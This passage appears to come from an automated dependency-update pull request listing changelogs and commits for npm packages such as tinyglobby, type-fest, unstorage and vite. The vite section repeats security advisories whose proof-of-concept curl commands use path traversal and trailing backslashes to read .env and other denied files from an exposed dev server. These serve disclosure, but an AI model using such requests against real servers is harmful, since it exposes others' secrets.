Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 10 commits:
5.44.1update changelogfix bitwise optimization changing the result of &&, ||switches: make sure `var` is extracted from a deleted default case5.44.0update changelogSupport `using` and `await using` declarations (#1635)increase test parallelisminternal: fix race condition in test output in some caseschore(deps): update actions/checkout action to v5 (#1634)
↗️ tinyglobby (indirect, 0.2.14 → 0.2.15) · Repo · Changelog
Release Notes
0.2.15
Added
Documentation page at https://superchupu.dev/tinyglobby, which also contains a library comparison page and migration guide.
It's been a huge effort that took two months to make.
Big thanks to @outslept, @43081j and @benmccann for helping out! ❤️
JSDoc to all functions and options based on the online documentation page
Benchmarks with help from @43081j and @benmccann
braceExpansionoption
extgloboption
fsoption
globstaroption by @benmccann
signaloption
package.jsonexport astinyglobby/package.jsonAbility to pass readonly types by @TomerAberbach
Support for
URLs incwdoptionChanged
Rewritten path processing algorithm leading to a huge performance increase in many cases with help from @43081j and @benmccann
Deprecated using
patternsinside the options objectEnabled trusted publishing using npm's OIDC support
Fixed
- Negated bracket expressions i.e.
[!abc]- Some patterns like
+++breaking the partial matcherConsider sponsoring if you'd like to support the development of this project and the goal of reaching a lighter and faster ecosystem
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 43 commits:
release 0.2.15stop using `picomatch.makeRe` on partial matcherchore(deps): update all non-major dependencies (#161)move documentation to website, add jsdocchore(deps): update dependency tinybench to v5 (#159)workaround to fix dts buildup coverage to 100%chore(deps): update dependency @types/node to ^24.3.0 (#157)add `fs` optionchore(deps): update actions/checkout action to v5 (#156)fix(deps): update all non-major dependencies (#154)add `braceExpansion` and `extglob` optionsadd support for using a `URL` as the `cwd`disable `**` special handling when `globstar` is `false`replace `lint:fix` script with `check:fix`allow passing readonly types (#153)enable oidc publishingupdate tsconfig for typescript 5.9chore(deps): update all non-major dependencies (#152)expose `package.json` to usersrestore `"lib": ["esnext"]`fix(deps): update all non-major dependencies (#144)fix negated bracket expressions (#151)use `AbortSignal.abort()` in testsrefactor `crawl` into `getCrawler`simplify formatter (#141)cleanup configsdeduplicate initial `cwd` processingofficially deprecate `patterns` inside optionsadd `signal` optionadd globstar option (#131)fix root test (#137)improve test coveragebump `@types/node` and update `tsdown` configchore(deps): update all non-major dependencies (#129)rewrite and optimize path processing algorithm (#130)add benchmarks (#122)add debug & empty string testsbump biome to `2.0.0`rework module setupremove `--experimental-transform-types` from testsfix(deps): update all non-major dependencies (#121)run ci on node 24
↗️ type-fest (indirect, 4.41.0 → 5.3.1) · Repo
Release Notes
5.3.1
5.3.0
Improvements
Fixes
IsEqual: Fix generic inference (#1306) f7b2667ConditionalPickDeep/SimplifyDeep: Prevent mapping over built-ins (#1293) f14a75aArraySlice/StringSlice: Fix behavior with unions (#1291) 133258b
5.2.0
New types
- Add
ExclusifyUniontype (#1278) 2b906fe- Add
ArrayElementtype (#1270) 2afaa40Improvements
CamelCase: AddsplitOnNumbersoption (#1290) ce2d244PackageJson: AdddevEnginestype (#1286) 3b4ad2eFixes
ExcludeRestElement: Fix generic assignability with arrays (#1274) 12ef5b2GreaterThanOrEqual/LessThan: Fix behavior with operands likeNandN | N + >0(#1280) b2caa3f
5.1.0
New types
TupleOf(#1247) 7fb2f75Xor(#1254) ad04bc5SplitOnRestElement(#1166) 34b8fadExtractRestElement(#1166) 34b8fadExcludeRestElement(#1166) 34b8fadImprovements
ReadonlyTuple: Deprecate in favor ofTupleOf(#1256) af4bebcTsConfigJson: Add missing lib enum values (#1263) 72f491fTsConfigJson: AddrewriteRelativeImportExtensions(#1262) 7d011ceFixes
PartialDeep: Fix behavior with functions containing multiple call signatures (#1259) 3bd9de6IsEqual: Fix behaviour when instantiated withneverandunknown(#1251) 785549fFixedLengthArray: Fix element type (#1246) ee29ef7is-equal: Fix handling with intersecting wrapped types (#1231) 5af60a1
5.0.1
- Add missing exports 4f9c248
5.0.0
Breaking
- This package is now pure ESM. Please read this.
- Require TypeScript 5.9 b5b0214
- Require Node.js 20 cc2b0f2
- Reminder:
type-festrequiresstrict: truein your tsconfig.StringKeyOf: Rename toKeyAsStringe492c9cArrayTail: EnablepreserveReadonlyby default and remove the option b34b1d8CamelCase/CamelCasedProperties/CamelCasedPropertiesDeep/PascalCase/PascalCasedProperties/PascalCasedPropertiesDeep: DisablepreserveConsecutiveUppercaseby default 8226c1b
- This aligns it with the general JavaScript naming convention.
PartialDeep: DisableallowUndefinedInNonTupleArraysby default b3c4524Split: EnablestrictLiteralChecksby default 544a846Paths: DefaultmaxRecursionDepth5 (was 10) 2ab5decObservableLike: Move to sub-export 2a1072e- Deprecate
If*types in favor of a singleIf4c2151aNew types
Alphanumeric— Single alphanumeric character (A–Z,a–z,0–9). 484e030AllExtend— Evaluates totrueif every element of a tuple/array extendsU. c8c6d55ConditionalSimplify— Simplifies a type’s unions/intersections with opt-in controls. b7a4771ConditionalSimplifyDeep— Deep version ofConditionalSimplifythat recurses into objects. b7a4771DigitCharacter— Single ASCII digit character (0–9). 484e030ExcludeStrict— Non-distributive, stricter variant ofExclude<T, U>. e6f62a2ExtendsStrict— Non-distributiveA extends Bcheck. d71242aExtractStrict— Non-distributive, stricter variant ofExtract<T, U>. 98d24faIsLowercase— Evaluates totrueif a string literal is all lowercase. afe132cIsNullable— Evaluates totrueifTincludesnull. 5067e25IsOptional— Evaluates totrueifTincludesundefined. 5067e25IsOptionalKeyOf— Evaluates totrueif propertyKofTis optional. 93728b5IsReadonlyKeyOf— Evaluates totrueif propertyKofTis readonly. 93728b5IsRequiredKeyOf— Evaluates totrueif propertyKofTis required. 93728b5IsUnion— Evaluates totrueifTis a union type. b3d92edIsUndefined— Evaluates totrueif the type is exactlyundefined. f7bc576IsUppercase— Evaluates totrueif a string literal is all uppercase. afe132cLowercaseLetter— Single lowercase Latin letter (a–z). 484e030RemovePrefix— Removes a specified prefix from a string literal. 18a1c04UppercaseLetter— Single uppercase Latin letter (A–Z). 484e030Improvements
Jsonify: HandleunknownasJsonValue642bb13SetRequired/SetOptional/SetReadonly: Handle functions with properties a5e45d4Schema: Preserve arrays/remove extraneous unions 8a96def; dropundefinedforrecurseIntoArrays1cb955bReadonlyKeysOf/WritableKeysOf: Addobjectconstraint a6efbe0TsConfigJson: Add TypeScript 5.9 fields d2bda94Fixes
Or: Fix withboolean,never,any42d6106And: Fix withboolean,never,anyb38ac60IsStringLiteral: Fix uncollapsed unions, and tagged types eb37799 / d1b35c7Paths: Fix behavior with index signatures 9926e5dConditionalKeys: Fix behavior with arrays and unions 4d7cc50RequiredDeep: Fix withundefinedbfcdbc4Split: Fix template strings ending with interpolation 853b881ArrayTail: Fix fix non-tuple arrays f3aabd8- Fix
UnionMinandUnionMaxd52d5e7Meta
Huge thanks to all the contributors to this release, especially @som-sm 🙌
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
↗️ unenv (indirect, 2.0.0-rc.18 → 2.0.0-rc.24) · Repo · Changelog
↗️ unhead (indirect, 2.0.12 → 2.0.19) · Repo
Release Notes
2.0.19
🐞 Bug Fixes
- vue: Tree shaking breaking some reactivity - by @harlan-zw (7abb5)
View changes on GitHub
2.0.18
🏎 Performance
- unhead: Avoid server side effects - by @harlan-zw in #585 (3fd09)
View changes on GitHub
2.0.17
No significant changes
View changes on GitHub
2.0.16
No significant changes
View changes on GitHub
2.0.15
🐞 Bug Fixes
- NPM Trusted Publishing - by @harlan-zw (a5d9f)
- ssr: Broken
extractUnheadInputFromHtmlregex - by @harlan-zw (e23db)🏎 Performance
- Walker based
transformHtmlTemplate- by @harlan-zw in #581 (37fc9)View changes on GitHub
2.0.14
🐞 Bug Fixes
- unhead: Multiword attributes in template - by @NikSimonov in #568 (f635b)
View changes on GitHub
2.0.13
🐞 Bug Fixes
- unhead:
- Canonical plugin modifying non-url properties - by @paraboul (ee8fd)
- Avoid normalizing template param input - by @harlan-zw (1d205)
- Safer removal of leading / trailing separators - by @harlan-zw (d4501)
View changes on GitHub
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 56 commits:
chore: release v2.0.19chore: sync lockchore: bump depschore: update bundle stats [skip ci]fix(vue): tree shaking breaking some reactivityMerge branch 'main' of github.com:unjs/unheadchore: release v2.0.18chore: update bundle stats [skip ci]chore: bump exportschore: simplify parserchore: bump export snapshotsMerge remote-tracking branch 'origin/main'chore: broken subpath typeschore(deps): update devdependency @types/jsdom to v27 (#583)chore: broken bundle size writeMerge branch 'main' of github.com:unjs/unheadchore: maybe improve tree shakingperf(unhead): avoid server side effects (#585)chore: bundle test clean upchore: bundle test clean upchore: bundle test clean upchore: bundle test clean upchore: bundle testschore: typecheckchore: bundle size check fixeschore: maybe fix bundle size test (#584)doc: update useScript example title from Google Analytics to Google Tag Manager (#582)chore: release v2.0.17chore: lintdoc: missing README.md'schore: release v2.0.16chore: release v2.0.15chore: bumpperf: walker based `transformHtmlTemplate` (#581)fix(ssr): broken `extractUnheadInputFromHtml` regexchore: bump depsMerge branch 'main' of github.com:unjs/unheadfix: NPM Trusted Publishingchore(deps): update all non-major dependencies (#569)chore: release v2.0.14chore: bump lockchore: maybe fix ts issuechore: bump deps & lintfix(unhead): multiword attributes in template (#568)docs: rel canonical example (#566)chore: release v2.0.13Merge remote-tracking branch 'origin/main'chore: handle boolean propschore: update bundle stats [skip ci]fix(unhead): safer removal of leading / trailing separatorsfix(unhead): avoid normalizing template param inputdoc: schema.org to `bodyClose`chore: broken testschore: bump depsfix(unhead): canonical plugin modifying non-url propertieschore(deps): update all non-major dependencies (#554)
↗️ unplugin-vue-router (indirect, 0.14.0 → 0.19.1) · Repo · Changelog
Release Notes
0.19.1
🚀 Features
🐞 Bug Fixes
- Encode path - by @posva (7e802)
- Update VLS context type argumentation - by @KazariEX in #769 (58350)
- Only encode when needed - by @posva (afaf0)
- colada: Avoid tracking loaders effect - by @posva (a0a7a)
- loaders: Avoids Uncaught PromiseRejection if the signal is thrown - by @posva (166ff)
View changes on GitHub
0.19.0
Please refer to CHANGELOG.md for details.
0.18.0
Please refer to CHANGELOG.md for details.
0.17.2
Please refer to CHANGELOG.md for details.
0.17.1
Please refer to CHANGELOG.md for details.
0.17.0
Please refer to CHANGELOG.md for details.
0.16.2
Please refer to CHANGELOG.md for details.
0.16.1
Please refer to CHANGELOG.md for details.
0.16.0
Please refer to CHANGELOG.md for details.
0.15.0
Please refer to CHANGELOG.md for details.
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
↗️ unstorage (indirect, 1.16.0 → 1.17.3) · Repo · Changelog
Release Notes
1.17.3
📦 Build
- Create
d.ctsandd.mtstype declarations fordrivers/(#710)❤️ Contributors
- Daniel Roe (@danielroe)
1.17.2
📦 Build
- Fix masquerading as CJS issue (#700)
❤️ Contributors
- Kricsleo (@kricsleo)
1.17.1
🩹 Fixes
📖 Documentation
- redis: Update github links and cluster warning (#667)
📦 Build
- Allow
@vercel/functionsv3 as peer dep (8bb9943)❤️ Contributors
- Connor Pearson (@cjpearson)
- Pooya Parsa (@pi0)
- Sébastien Chopin (@atinux)
- Rihan (@RihanArfan)
1.17.0
🚀 Enhancements
📖 Documentation
❤️ Contributors
- Schplitt (@schplitt)
- Anthony Shew (@anthonyshew)
- Pooya Parsa (@pi0)
- Kanashimo (@Kanashimo)
1.16.1
🔥 Performance
- mongoDB: Use bulk operations for
getItemsandsetItems(#641)- redis, upstash: Use bulk operations for
getItems(#642)🩹 Fixes
- types: fix
prefixStoragetype compatibility (#630)- s3: Accept
200for delete response for better compatibility (#636)- github: Add
user-agentheader (#644)💅 Refactors
- Allow
@netlify/blobsv9 and v10 as peer dependency (#640)📖 Documentation
- github: Update
GitHubcasing (#632)📦 Build
- Fix invalid runtime type (#631)
✅ Tests
- R2 native meta (#646)
❤️ Contributors
- ToBinio (@ToBinio)
- James Garbutt (@43081j)
- Pooya Parsa (@pi0)
- Alexandre Hallaine (@alexandre-hallaine)
- Philippe Serhal (@serhalp)
- Quentin (@quentint)
- Abeer0 (@iiio2)
- Daniel Roe (@danielroe)
- Kricsleo (@kricsleo)
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 45 commits:
chore(release): v1.17.3chore: update depsbuild: create `d.cts` and `d.mts` type declarations for `drivers/` (#710)chore(release): v1.17.2chore: update testschore: update dependenciesci: remove nightly from v1build: fix masquerading as CJS issue (#700)chore: update testschore: update depschore: update docschore: fix docs depschore: fix docs depschore: update undocschore(release): v1.17.1docs(redis): update github links and cluster warning (#667)chore(deps): update actions/setup-node action to v5 (#673)chore: update lockfilebuild: allow `@vercel/functions` v3 as peer depchore: update depsfix(vercel-blob): expose driver `options` (#671)fix(prefixStorage): strip prefix from `keys()` (#666)chore(release): v1.17.0feat(deno-kv): support `ttl` for `setItem` and `setItemRaw` (#659)feat: add `vercel-runtime-cache` driver (#656)chore: update ci scriptschore(deps): update autofix-ci/action digest to 635ffb0 (#649)chore(deps): update actions/checkout action to v5 (#651)chore: update pnpmchore: update depsdocs(database): correct `tableName` config key (#653)docs(database): correct `tableName` config key (#652)chore(release): v1.16.1perf(redis, upstash): use bulk operations for `getItems` (#642)test: r2 native meta (#646)chore: update depsfix(github): add `user-agent` header (#644)refactor: allow `@netlify/blobs` v9 and v10 as peer dependency (#640)perf(mongoDB): use bulk operations for `getItems` and `setItems` (#641)fix(s3): accept `200` for delete response for better compatibility (#636)docs(github): update `GitHub` casing (#632)chore: lintchore: update depsbuild: fix invalid runtime type (#631)fix(types): fix `prefixStorage` type compatibility (#630)
↗️ update-browserslist-db (indirect, 1.1.3 → 1.2.3) · Repo · Changelog
Release Notes
1.2.2
- Fixed update on
depthin pnpm config.
1.2.1
- Fix
ERR_PNPM_NO_PACKAGE_IN_DEPENDENCIESerror on pnpm with old Browserslist.
1.2.0
- Add Baseline data updating too.
1.1.4
- Fixed
package.jsonchanges onpnpmupdate.
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 26 commits:
Release 1.2.3 versionUpdate dependenciesMerge pull request #78 from cehenriques/mainSupport Bun info (#77)Release 1.2.2 versionNormalize change logFix pnpm with depth configRelease 1.2.1 versionFix testFix pnpm and old BrowserslistRelease 1.2.0 versionUpdate dependenciesAdd baseline-browser-mapping update tooUpdate dependenciesMerge pull request #75 from Spone/patch-1Add yarn command to READMERelease 1.1.4 versionPrevent updating package.json on pnpm updateFix old Node.js supportPin CI actionsUpdate Node.js version on CIUpdate dependenciesAdd security sectionMerge pull request #63 from brabli/mainSpecify "latest" argUpdate README.md
↗️ vite (indirect, 6.3.5 → 7.3.0) · Repo · Changelog
Security Advisories 🚨
🚨 vite allows server.fs.deny bypass via backslash on Windows
Summary
Files denied by
server.fs.denywere sent if the URL ended with\when the dev server is running on Windows.Impact
Only apps that match the following conditions are affected:
- explicitly exposes the Vite dev server to the network (using --host or
server.hostconfig option)- running the dev server on Windows
Details
server.fs.denycan contain patterns matching against files (by default it includes.env,.env.*,*.{crt,pem}as such patterns). These patterns were able to bypass by using a back slash(\). The root cause is thatfs.readFile('/foo.png/')loads/foo.png.PoC
npm create vite@latest cd vite-project/ cat "secret" > .env npm install npm run dev curl --request-target /.env\ http://localhost:5173
🚨 vite allows server.fs.deny bypass via backslash on Windows
Summary
Files denied by
server.fs.denywere sent if the URL ended with\when the dev server is running on Windows.Impact
Only apps that match the following conditions are affected:
- explicitly exposes the Vite dev server to the network (using --host or
server.hostconfig option)- running the dev server on Windows
Details
server.fs.denycan contain patterns matching against files (by default it includes.env,.env.*,*.{crt,pem}as such patterns). These patterns were able to bypass by using a back slash(\). The root cause is thatfs.readFile('/foo.png/')loads/foo.png.PoC
npm create vite@latest cd vite-project/ cat "secret" > .env npm install npm run dev curl --request-target /.env\ http://localhost:5173
🚨 vite allows server.fs.deny bypass via backslash on Windows
Summary
Files denied by
server.fs.denywere sent if the URL ended with\when the dev server is running on Windows.Impact
Only apps that match the following conditions are affected:
- explicitly exposes the Vite dev server to the network (using --host or
server.hostconfig option)- running the dev server on Windows
Details
server.fs.denycan contain patterns matching against files (by default it includes.env,.env.*,*.{crt,pem}as such patterns). These patterns were able to bypass by using a back slash(\). The root cause is thatfs.readFile('/foo.png/')loads/foo.png.PoC
npm create vite@latest cd vite-project/ cat "secret" > .env npm install npm run dev curl --request-target /.env\ http://localhost:5173
🚨 Vite middleware may serve files starting with the same name with the public directory
Summary
Files starting with the same name with the public directory were served bypassing the
server.fssettings.Impact
Only apps that match the following conditions are affected:
- explicitly exposes the Vite dev server to the network (using --host or
server.hostconfig option)- uses the public directory feature (enabled by default)
- a symlink exists in the public directory
Details
The servePublicMiddleware function is in charge of serving public files from the server. It returns the viteServePublicMiddleware function which runs the needed tests and serves the page. The viteServePublicMiddleware function checks if the publicFiles variable is defined, and then uses it to determine if the requested page is public. In the case that the publicFiles is undefined, the code will treat the requested page as a public page, and go on with the serving function. publicFiles may be undefined if there is a symbolic link anywhere inside the public directory. In that case, every requested page will be passed to the public serving function. The serving function is based on the sirv library. Vite patches the library to add the possibility to test loading access to pages, but when the public page middleware disables this functionality since public pages are meant to be available always, regardless of whether they are in the allow or deny list.
In the case of public pages, the serving function is provided with the path to the public directory as a root directory. The code of the sirv library uses the join function to get the full path to the requested file. For example, if the public directory is "/www/public", and the requested file is "myfile", the code will join them to the string "/www/public/myfile". The code will then pass this string to the normalize function. Afterwards, the code will use the string's startsWith function to determine whether the created path is within the given directory or not. Only if it is, it will be served.
Since sirv trims the trailing slash of the public directory, the string's startsWith function may return true even if the created path is not within the public directory. For example, if the server's root is at "/www", and the public directory is at "/www/p", if the created path will be "/www/private.txt", the startsWith function will still return true, because the string "/www/private.txt" starts with "/www/p". To achieve this, the attacker will use ".." to ask for the file "../private.txt". The code will then join it to the "/www/p" string, and will receive "/www/p/../private.txt". Then, the normalize function will return "/www/private.txt", which will then be passed to the startsWith function, which will return true, and the processing of the page will continue without checking the deny list (since this is the public directory middleware which doesn't check that).
PoC
Execute the following shell commands:
npm create vite@latest cd vite-project/ mkdir p cd p ln -s a b cd .. echo 'import path from "node:path"; import { defineConfig } from "vite"; export default defineConfig({publicDir: path.resolve(__dirname, "p/"), server: {fs: {deny: [path.resolve(__dirname, "private.txt")]}}})' > vite.config.js echo "secret" > private.txt npm install npm run devThen, in a different shell, run the following command:
curl -v --path-as-is 'http://localhost:5173/private.txt'You will receive a 403 HTTP Response, because private.txt is denied.
Now in the same shell run the following command:
curl -v --path-as-is 'http://localhost:5173/../private.txt'You will receive the contents of private.txt.
Related links
🚨 Vite's `server.fs` settings were not applied to HTML files
Summary
Any HTML files on the machine were served regardless of the
server.fssettings.Impact
Only apps that match the following conditions are affected:
- explicitly exposes the Vite dev server to the network (using --host or server.host config option)
appType: 'spa'(default) orappType: 'mpa'is usedThis vulnerability also affects the preview server. The preview server allowed HTML files not under the output directory to be served.
Details
The serveStaticMiddleware function is in charge of serving static files from the server. It returns the viteServeStaticMiddleware function which runs the needed tests and serves the page. The viteServeStaticMiddleware function checks if the extension of the requested file is ".html". If so, it doesn't serve the page. Instead, the server will go on to the next middlewares, in this case htmlFallbackMiddleware, and then to indexHtmlMiddleware. These middlewares don't perform any test against allow or deny rules, and they don't make sure that the accessed file is in the root directory of the server. They just find the file and send back its contents to the client.
PoC
Execute the following shell commands:
npm create vite@latest cd vite-project/ echo "secret" > /tmp/secret.html npm install npm run devThen, in a different shell, run the following command:
curl -v --path-as-is 'http://localhost:5173/../../../../../../../../../../../tmp/secret.html'The contents of /tmp/secret.html will be returned.
This will also work for HTML files that are in the root directory of the project, but are in the deny list (or not in the allow list). Test that by stopping the running server (CTRL+C), and running the following commands in the server's shell:
echo 'import path from "node:path"; import { defineConfig } from "vite"; export default defineConfig({server: {fs: {deny: [path.resolve(__dirname, "secret_files/*")]}}})' > [vite.config.js](http://vite.config.js) mkdir secret_files echo "secret txt" > secret_files/secret.txt echo "secret html" > secret_files/secret.html npm run devThen, in a different shell, run the following command:
curl -v --path-as-is 'http://localhost:5173/secret_files/secret.txt'You will receive a 403 HTTP Response, because everything in the secret_files directory is denied.
Now in the same shell run the following command:
curl -v --path-as-is 'http://localhost:5173/secret_files/secret.html'You will receive the contents of secret_files/secret.html.
🚨 Vite middleware may serve files starting with the same name with the public directory
Summary
Files starting with the same name with the public directory were served bypassing the
server.fssettings.Impact
Only apps that match the following conditions are affected:
- explicitly exposes the Vite dev server to the network (using --host or
server.hostconfig option)- uses the public directory feature (enabled by default)
- a symlink exists in the public directory
Details
The servePublicMiddleware function is in charge of serving public files from the server. It returns the viteServePublicMiddleware function which runs the needed tests and serves the page. The viteServePublicMiddleware function checks if the publicFiles variable is defined, and then uses it to determine if the requested page is public. In the case that the publicFiles is undefined, the code will treat the requested page as a public page, and go on with the serving function. publicFiles may be undefined if there is a symbolic link anywhere inside the public directory. In that case, every requested page will be passed to the public serving function. The serving function is based on the sirv library. Vite patches the library to add the possibility to test loading access to pages, but when the public page middleware disables this functionality since public pages are meant to be available always, regardless of whether they are in the allow or deny list.
In the case of public pages, the serving function is provided with the path to the public directory as a root directory. The code of the sirv library uses the join function to get the full path to the requested file. For example, if the public directory is "/www/public", and the requested file is "myfile", the code will join them to the string "/www/public/myfile". The code will then pass this string to the normalize function. Afterwards, the code will use the string's startsWith function to determine whether the created path is within the given directory or not. Only if it is, it will be served.
Since sirv trims the trailing slash of the public directory, the string's startsWith function may return true even if the created path is not within the public directory. For example, if the server's root is at "/www", and the public directory is at "/www/p", if the created path will be "/www/private.txt", the startsWith function will still return true, because the string "/www/private.txt" starts with "/www/p". To achieve this, the attacker will use ".." to ask for the file "../private.txt". The code will then join it to the "/www/p" string, and will receive "/www/p/../private.txt". Then, the normalize function will return "/www/private.txt", which will then be passed to the startsWith function, which will return true, and the processing of the page will continue without checking the deny list (since this is the public directory middleware which doesn't check that).
PoC
Execute the following shell commands:
npm create vite@latest cd vite-project/ mkdir p cd p ln -s a b cd .. echo 'import path from "node:path"; import { defineConfig } from "vite"; export default defineConfig({publicDir: path.resolve(__dirname, "p/"), server: {fs: {deny: [path.resolve(__dirname, "private.txt")]}}})' > vite.config.js echo "secret" > private.txt npm install npm run devThen, in a different shell, run the following command:
curl -v --path-as-is 'http://localhost:5173/private.txt'You will receive a 403 HTTP Response, because private.txt is denied.
Now in the same shell run the following command:
curl -v --path-as-is 'http://localhost:5173/../private.txt'You will receive the contents of private.txt.
Related links
🚨 Vite's `server.fs` settings were not applied to HTML files
Summary
Any HTML files on the machine were served regardless of the
server.fssettings.Impact
Only apps that match the following conditions are affected:
- explicitly exposes the Vite dev server to the network (using --host or server.host config option)
appType: 'spa'(default) orappType: 'mpa'is usedThis vulnerability also affects the preview server. The preview server allowed HTML files not under the output directory to be served.
Details
The serveStaticMiddleware function is in charge of serving static files from the server. It returns the viteServeStaticMiddleware function which runs the needed tests and serves the page. The viteServeStaticMiddleware function checks if the extension of the requested file is ".html". If so, it doesn't serve the page. Instead, the server will go on to the next middlewares, in this case htmlFallbackMiddleware, and then to indexHtmlMiddleware. These middlewares don't perform any test against allow or deny rules, and they don't make sure that the accessed file is in the root directory of the server. They just find the file and send back its contents to the client.
PoC
Execute the following shell commands:
npm create vite@latest cd vite-project/ echo "secret" > /tmp/secret.html npm install npm run devThen, in a different shell, run the following command:
curl -v --path-as-is 'http://localhost:5173/../../../../../../../../../../../tmp/secret.html'The contents of /tmp/secret.html will be returned.
This will also work for HTML files that are in the root directory of the project, but are in the deny list (or not in the allow list). Test that by stopping the running server (CTRL+C), and running the following commands in the server's shell:
echo 'import path from "node:path"; import { defineConfig } from "vite"; export default defineConfig({server: {fs: {deny: [path.resolve(__dirname, "secret_files/*")]}}})' > [vite.config.js](http://vite.config.js) mkdir secret_files echo "secret txt" > secret_files/secret.txt echo "secret html" > secret_files/secret.html npm run devThen, in a different shell, run the following command:
curl -v --path-as-is 'http://localhost:5173/secret_files/secret.txt'You will receive a 403 HTTP Response, because everything in the secret_files directory is denied.
Now in the same shell run the following command:
curl -v --path-as-is 'http://localhost:5173/secret_files/secret.html'You will receive the contents of secret_files/secret.html.
🚨 Vite middleware may serve files starting with the same name with the public directory
Summary
Files starting with the same name with the public directory were served bypassing the
server.fssettings.Impact
Only apps that match the following conditions are affected:
- explicitly exposes the Vite dev server to the network (using --host or
server.hostconfig option)- uses the public directory feature (enabled by default)
- a symlink exists in the public directory
Details
The servePublicMiddleware function is in charge of serving public files from the server. It returns the viteServePublicMiddleware function which runs the needed tests and serves the page. The viteServePublicMiddleware function checks if the publicFiles variable is defined, and then uses it to determine if the requested page is public. In the case that the publicFiles is undefined, the code will treat the requested page as a public page, and go on with the serving function. publicFiles may be undefined if there is a symbolic link anywhere inside the public directory. In that case, every requested page will be passed to the public serving function. The serving function is based on the sirv library. Vite patches the library to add the possibility to test loading access to pages, but when the public page middleware disables this functionality since public pages are meant to be available always, regardless of whether they are in the allow or deny list.
In the case of public pages, the serving function is provided with the path to the public directory as a root directory. The code of the sirv library uses the join function to get the full path to the requested file. For example, if the public directory is "/www/public", and the requested file is "myfile", the code will join them to the string "/www/public/myfile". The code will then pass this string to the normalize function. Afterwards, the code will use the string's startsWith function to determine whether the created path is within the given directory or not. Only if it is, it will be served.
Since sirv trims the trailing slash of the public directory, the string's startsWith function may return true even if the created path is not within the public directory. For example, if the server's root is at "/www", and the public directory is at "/www/p", if the created path will be "/www/private.txt", the startsWith function will still return true, because the string "/www/private.txt" starts with "/www/p". To achieve this, the attacker will use ".." to ask for the file "../private.txt". The code will then join it to the "/www/p" string, and will receive "/www/p/../private.txt". Then, the normalize function will return "/www/private.txt", which will then be passed to the startsWith function, which will return true, and the processing of the page will continue without checking the deny list (since this is the public directory middleware which doesn't check that).
PoC
Execute the following shell commands:
npm create vite@latest cd vite-project/ mkdir p cd p ln -s a b cd .. echo 'import path from "node:path"; import { defineConfig } from "vite"; export default defineConfig({publicDir: path.resolve(__dirname, "p/"), server: {fs: {deny: [path.resolve(__dirname, "private.txt")]}}})' > vite.config.js echo "secret" > private.txt npm install npm run devThen, in a different shell, run the following command:
curl -v --path-as-is 'http://localhost:5173/private.txt'You will receive a 403 HTTP Response, because private.txt is denied.
Now in the same shell run the following command:
curl -v --path-as-is 'http://localhost:5173/../private.txt'You will receive the contents of private.txt.
Related links
🚨 Vite's `server.fs` settings were not applied to HTML files
Summary
Any HTML files on the machine were served regardless of the
server.fssettings.Impact
Only apps that match the following conditions are affected:
- explicitly exposes the Vite dev server to the network (using --host or server.host config option)
appType: 'spa'(default) orappType: 'mpa'is usedThis vulnerability also affects the preview server. The preview server allowed HTML files not under the output directory to be served.
Details
The serveStaticMiddleware function is in charge of serving static files from the server. It returns the viteServeStaticMiddleware function which runs the needed tests and serves the page. The viteServeStaticMiddleware function checks if the extension of the requested file is ".html". If so, it doesn't serve the page. Instead, the server will go on to the next middlewares, in this case htmlFallbackMiddleware, and then to indexHtmlMiddleware. These middlewares don't perform any test against allow or deny rules, and they don't make sure that the accessed file is in the root directory of the server. They just find the file and send back its contents to the client.
PoC
Execute the following shell commands:
npm create vite@latest cd vite-project/ echo "secret" > /tmp/secret.html npm install npm run devThen, in a different shell, run the following command:
curl -v --path-as-is 'http://localhost:5173/../../../../../../../../../../../tmp/secret.html'The contents of /tmp/secret.html will be returned.
This will also work for HTML files that are in the root directory of the project, but are in the deny list (or not in the allow list). Test that by stopping the running server (CTRL+C), and running the following commands in the server's shell:
echo 'import path from "node:path"; import { defineConfig } from "vite"; export default defineConfig({server: {fs: {deny: [path.resolve(__dirname, "secret_files/*")]}}})' > [vite.config.js](http://vite.config.js) mkdir secret_files echo "secret txt" > secret_files/secret.txt echo "secret html" > secret_files/secret.html npm run devThen, in a different shell, run the following command:
curl -v --path-as-is 'http://localhost:5173/secret_files/secret.txt'You will receive a 403 HTTP Response, because everything in the secret_files directory is denied.
Now in the same shell run the following command:
curl -v --path-as-is 'http://localhost:5173/secret_files/secret.html'You will receive the contents of secret_files/secret.html.
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
↗️ vite-node (indirect, 3.2.4 → 5.2.0) · Repo
Sorry, we couldn’t find anything useful about this release.
↗️ vite-plugin-checker (indirect, 0.10.2 → 0.12.0) · Repo · Changelog
↗️ vite-plugin-inspect (indirect, 11.3.0 → 11.3.3) · Repo
Release Notes
11.3.3
🐞 Bug Fixes
- module: Removed
keyin diff editor, - by @liangmiQwQ in #157 (d6bc3)View changes on GitHub
11.3.2
🐞 Bug Fixes
- Error fetching panel size during resize event - by @LittleSound in #155 (d1e8a)
- Generate metadata for all environments for build - by @yume-chan in #154 (7959c)
View changes on GitHub
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 9 commits:
↗️ vue (indirect, 3.5.17 → 3.5.25) · Repo · Changelog
Release Notes
3.5.25
For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of theminorbranch.
3.5.24
For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of theminorbranch.
3.5.23
For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of theminorbranch.
3.5.22
For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of theminorbranch.
3.5.21
For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of theminorbranch.
3.5.20
For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of theminorbranch.
3.5.19
For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of theminorbranch.
3.5.18
For stable releases, please refer to CHANGELOG.md for details.
